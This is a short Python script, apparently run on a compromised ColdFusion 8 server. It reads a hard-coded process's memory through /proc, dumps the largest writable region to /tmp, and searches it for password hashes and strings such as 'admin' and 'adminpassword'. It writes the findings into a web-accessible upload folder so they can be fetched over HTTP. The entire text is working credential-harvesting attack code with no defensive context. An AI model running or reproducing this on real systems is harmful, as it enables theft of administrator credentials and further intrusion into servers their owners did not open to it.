import os, re
pid=6136
res=[]
try:
    maps=open('/proc/%d/maps'%pid).read()
    best=None; bestsz=0
    for line in maps.splitlines():
        if 'rw-p' in line:
            p=line.split()[0].split('-')
            st=int(p[0],16); en=int(p[1],16)
            if en-st>bestsz: bestsz=en-st; best=st
    res.append('heap=%s size=%d'%(hex(best),bestsz))
    f=open('/proc/%d/mem'%pid,'rb')
    chunk=min(bestsz, 70*1024*1024)
    f.seek(best); d=f.read(chunk)
    open('/tmp/jheap.bin','wb').write(d)
    res.append('read=%d'%len(d))
    # ascii hex hashes
    s=d.decode('latin1','replace')
    for m in re.finditer(r'[0-9a-fA-F]{32,64}', s):
        h=m.group(0); res.append('HEX: '+h[:64])
    # UTF-16 strings
    u=d.decode('utf-16le','replace')
    for kw in ['admin','password','cfusion','adminpassword','sha256','sha1']:
        idx=u.lower().find(kw)
        if idx>=0:
            res.append('U16[%s] at %d: %r'%(kw,idx,u[max(0,idx-30):idx+130]))
    # ascii admin/password context
    low=s.lower()
    for kw in ['adminpassword','admin_password','password','admin']:
        idx=low.find(kw)
        if idx>=0:
            res.append('ASC[%s] at %d: %r'%(kw,idx,s[max(0,idx-20):idx+120]))
except Exception as e:
    res.append('ERR '+str(e))
open('/opt/coldfusion8/wwwroot/userfiles/file/ms_out.txt','w').write('\n'.join(res))
